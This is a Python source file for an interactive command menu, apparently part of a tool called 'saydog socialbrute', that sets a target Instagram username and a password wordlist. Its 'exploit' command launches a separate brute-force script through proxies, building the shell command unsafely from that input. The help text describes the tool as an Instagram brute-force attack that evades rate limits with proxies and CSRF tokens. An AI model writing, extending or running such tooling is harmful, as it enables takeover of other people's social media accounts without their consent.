import os,sys
from time import *
from __main__ import *

w='\x1b[00m'
u='\033[4m'
b='\x1b[36;1m'
r='\x1b[91m'

user = ' '
worldlist = ' '

def sprint(s):
    for c in s + '\n':
        sys.stdout.write(c)
        sys.stdout.flush()
        time.sleep(0.1 / 100)
        
def corrupt():
	print(r+'[?]'+w+' Command not found, please type help')
  
def exit():
	print(r+'[!]'+w+' The user forces it to stop')
	print(r+'[!]'+w+' Exiting program')
	sys.exit(2)
	
def help():
	print('')
	print('BRUTEFORCE INSTAGRAM')
	print('--------------------')
	print('instagram bruteforce attack')
	print('using wordlist with proxy and CSRF token')
	print('')
	print('command                                          example')
	print('-------                                          -------')
	print('set username [target]             set username iqbalmh18')
	print('set wordlist [path/name]           set wordlist pass.txt')
	print('show, show value                              show value')
	print('run, go, exploit                                 exploit')
	print('')
	print('other command                                description')
	print('-------------                                -----------')
	print('back                                   back to main menu')
	print('clear                                       clear screen')
	print('exit                                           exit tool')
	print('')
	
	
def imain():
		global user
		global wordlist
		while True:
			try:
				ig = input(w+'saydog('+r+'socialbrute/instagram'+w+') > ')
				if ig == 'help' or ig == '?':
					help()
					imain()
				elif 'set username' in ig:
					user = ig.split()[(-1)]
					print('username > '+user)
				elif 'set wordlist' in ig:
					wordlist = ig.split()[(-1)]
					print('wordlist > '+wordlist)
				elif ig == 'show' or ig == 'show value':
					print('')
					print('-----------------------')
					print('username : '+user)
					print('wordlist : '+wordlist)
					print('-----------------------')
					print('')
				elif ig == 'exploit' or ig == 'run' or ig == 'go':
					os.system('python __mainig__.py -u '+user+' -w '+wordlist+' -p proxys.txt -d -v')
				elif ig == 'clear':
					os.system('clear')
				elif ig == 'exit':
					exit()
				elif ig == 'back':
					sys.exit(0)
			except NameError:
				print(r+'[!] Error:'+w+' [username] or [wordlist] not found')
			except KeyboardInterrupt:
				exit()
				
if __name__ == '__main__':
	imain()